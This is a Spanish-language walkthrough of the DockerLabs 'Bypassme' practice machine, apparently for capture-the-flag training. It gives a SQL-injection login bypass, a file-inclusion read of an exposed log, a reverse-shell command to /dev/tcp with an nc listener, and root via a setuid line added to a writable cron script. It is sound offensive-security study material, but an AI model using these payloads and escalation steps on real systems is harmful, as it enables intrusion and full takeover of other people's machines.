Bypassme DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip bypassme.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh bypassme.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 11:00 EDT
Nmap scan report for thedog.dl (172.17.0.2)
Host is up (0.000045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b4:a8:42:e7:2b:2f:7a:f9:50:bd:6d:31:8e:36:54:7b (ECDSA)
|_  256 c0:ff:28:31:a3:0b:1a:3d:c3:5f:83:1b:3c:44:28:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Login Panel
|_Requested resource was login.php
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Vemos que hay un puerto 80 que aloja una pagina web, si entramos en ella veremos un login bastante interesante en el que vamos a probar credenciales por defecto, pero veremos que no funcionan, por lo que vamos a probar a realizar un SQLi a ver si funciona.

User: ' OR '1'='1
Pass: ' OR '1'='1

Veremos que con eso funciona, por lo que nos mostrara el panel de administracion, pero no veremos nada interesante, si inspeccionamos el codigo veremos lo siguiente:

<!-- dev note: remember to secure logs.txt path before deploy -->

Por lo que nos indica que hay un archivo log por algun lado, vamos a realizar un poco de fuzzing a ver que encontramos.

Escalate user albert

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r 

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 1826]
/login.php            (Status: 200) [Size: 1826]
/welcome.php          (Status: 200) [Size: 1826]
/.html                (Status: 403) [Size: 275]
/logs                 (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Vemos algo muy interesante y es que hay una carpeta llamada logs por lo que podria contener el archivo logs.txt vamos a probarlo de esta forma.

URL = http://<IP>/logs/logs.txt

Veremos que nos esta mostrando un 403 por lo que esta restringido, pero si lo ponemos donde el parametro page= para que nos muestre la pagina de esta forma:

URL = http://<IP>/index.php?page=logs/logs.txt

Info:

[2024-03-29 12:04:12] ERROR: Login failed for user 'root'
[2024-03-29 12:04:12] DEBUG: Trying password 'YWRtaW4xMjM='
[2024-03-29 12:04:13] ERROR: Login failed for user 'admin'
[2024-03-29 12:04:14] DEBUG: Trying password 'dGVzdDEyMw=='
[2024-03-29 12:04:16] ERROR: Login failed for user 'test'
[2024-03-29 12:04:18] DEBUG: Login failed from IP 10.10.14.8
[2024-03-29 12:04:19] DEBUG: Login failed from IP 10.10.14.9
[2024-03-29 12:04:20] DEBUG: Login failed from IP 10.10.14.10
[2024-03-29 12:04:21] DEBUG: Login failed from IP 10.10.14.11
[2024-03-29 12:04:22] WARNING: Too many login attempts
[2024-03-29 12:04:23] ERROR: Login attempt for user 'albert'
[2024-03-29 12:04:24] DEBUG: Trying password 'NGxiM3J0MTIz'
[2024-03-29 12:04:25] SUCCESS: Auth success for user 'albert'
[2024-03-29 12:04:26] DEBUG: Session token issued: 38b2fdcbffe78b9989f3e
[2024-03-29 12:04:27] DEBUG: SSH connection established from 10.10.14.8
[2024-03-29 12:04:28] DEBUG: User 'albert' added to sudo group
[2024-03-29 12:04:29] DEBUG: File accessed: /var/www/html/index.php?page=welcome
[2024-03-29 12:04:30] DEBUG: File accessed: /etc/passwd
[2024-03-29 12:04:31] DEBUG: File accessed: /var/log/auth.log
[2024-03-29 12:04:32] DEBUG: File accessed: /var/www/html/login.php
[2024-03-29 12:04:33] DEBUG: File accessed: /var/www/html/logs/logs.txt
[2024-03-29 12:04:34] WARNING: Potential exposure of file logs.txt
[2024-03-29 12:04:35] WARNING: logs.txt contains sensitive authentication data
[2024-03-29 12:04:36] [!!!] SECURITY ALERT: logs/logs.txt is PUBLICLY EXPOSED
[2024-03-29 12:04:37] [!!!] Use this file with caution credentials may be compromised

Veremos en las siguientes lienas esto:

[2024-03-29 12:04:23] ERROR: Login attempt for user 'albert'
[2024-03-29 12:04:24] DEBUG: Trying password 'NGxiM3J0MTIz'
[2024-03-29 12:04:25] SUCCESS: Auth success for user 'albert'

Vemos que hubo una autenticacion exitosa con el usuario albert por lo que vamos a probarlo directamente por SSH.

SSH

ssh albert@<IP>

Metemos como contraseña NGxiM3J0MTIz y veremos que estaremos dentro.

Escalate user conx

Vamos a visualizar los procesos del sistema con un binario llamado pspy64 el cual nos descargaremos desde la maquina host y nos lo pasaremos con un servidor de python3 y con la herramienta wget nos lo descargamos en la maquina victima.

python3 -m http.server

Maquina victima

cd /tmp
wget http://<IP>:8000/pspy64

Una vez que nos lo hayamos descargado, vamos a ejecutarlo de la siguiente forma:

chmod +x pspy64
./pspy64

Info:

pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/06/06 09:18:36 CMD: UID=1001  PID=331    | ./pspy64 
2025/06/06 09:18:36 CMD: UID=1001  PID=297    | -bash 
2025/06/06 09:18:36 CMD: UID=1001  PID=296    | sshd: albert@pts/0 
2025/06/06 09:18:36 CMD: UID=0     PID=285    | sshd: albert [priv] 
2025/06/06 09:18:36 CMD: UID=33    PID=179    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=173    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=161    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=158    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=153    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=145    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=144    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=142    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=141    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=33    PID=139    | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=0     PID=57     | tail -f /dev/null 
2025/06/06 09:18:36 CMD: UID=1002  PID=54     | socat UNIX-LISTEN:/home/conx/.cache/.sock,fork EXEC:/bin/bash 
2025/06/06 09:18:36 CMD: UID=0     PID=50     | /usr/sbin/cron -P 
2025/06/06 09:18:36 CMD: UID=0     PID=44     | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups 
2025/06/06 09:18:36 CMD: UID=0     PID=24     | /usr/sbin/apache2 -k start 
2025/06/06 09:18:36 CMD: UID=0     PID=1      | /bin/bash /etc/.start_services 
2025/06/06 09:19:01 CMD: UID=0     PID=340    | /usr/sbin/CRON -P 
2025/06/06 09:19:01 CMD: UID=0     PID=342    | /usr/sbin/CRON -P 
2025/06/06 09:19:01 CMD: UID=0     PID=343    | 
2025/06/06 09:19:01 CMD: UID=0     PID=344    | 
2025/06/06 09:19:01 CMD: UID=0     PID=345    | 
2025/06/06 09:19:01 CMD: UID=0     PID=346    | 
^CExiting program... (interrupt)

Nada mas se inicie ya de primeras nos va a resaltar en naranja una cosa bastante interesante que esta en esta linea:

2025/06/06 09:18:36 CMD: UID=1002  PID=54     | socat UNIX-LISTEN:/home/conx/.cache/.sock,fork EXEC:/bin/bash

Por lo que vemos se esta realizando un socat ejecutando la bash como el usuario conx, por lo que podremos realizar lo siguiente.

ls -la /home/conx/.cache/.sock

Info:

srwxrw-rw- 1 conx conx 0 Jun  6 08:59 /home/conx/.cache/.sock

Vemos que tiene los permisos necesarios para ahora nosotros realizar lo siguiente:

socat - UNIX-CONNECT:/home/conx/.cache/.sock

Info:

whoami
conx

Ahora vamos a pasarnos una shell un poco mejor de esta forma:

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

En la maquina host nos ponemos a la escucha antes de lanzar el comando.

nc -lvnp <PORT>

Ahora si ejecutamos el comando y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 36954
bash: cannot set terminal process group (52): Inappropriate ioctl for device
bash: no job control in this shell
conx@30c1dad442ff:~$ whoami
whoami
conx

Vamos a sanitizar la shell de esta forma:

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate Privileges

Si listamos los crontabs que hay en el sistema veremos esto:

ls -la /etc/cron.d/

Info:

total 24
drwxr-xr-x 2 root root 4096 May 21 13:58 .
drwxr-xr-x 1 root root 4096 Jun  6 08:59 ..
-rw-r--r-- 1 root root  102 Mar 30  2024 .placeholder
-rw-r--r-- 1 root root   43 May 21 01:36 backup-cron
-rw-r--r-- 1 root root  201 Apr  8  2024 e2scrub_all
-rw-r--r-- 1 root root  712 Jan 18  2024 php

Vemos que hay uno distinto de lo normal, que no se crea por defecto llamado backup-cron vamos a ver que contiene:

* * * * * root bash /var/backups/backup.sh

Vemos que ejecuta un .sh, por lo que vamos a ver si pudieramos modificar dicho script con los permisos que tenga.

ls -la /var/backups/backup.sh

Info:

-rw-rw-r-- 1 conx root 246 May 22 15:47 /var/backups/backup.sh

Vemos que si podemos por lo que vamos hacer lo siguiente:

echo "chmod u+s /bin/bash" >>  /var/backups/backup.sh

Ahora solo tendremos que esperar un rato, despues de esperar si listamos los permisos de la bash veremos lo siguiente:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Vemos que ha funcionado, por lo que tendremos que realizar lo siguiente:

bash -p

Info:

bash-5.2# whoami
root

Con esto veremos que ya seremos root, por lo que habremos terminado la maquina.

Last updated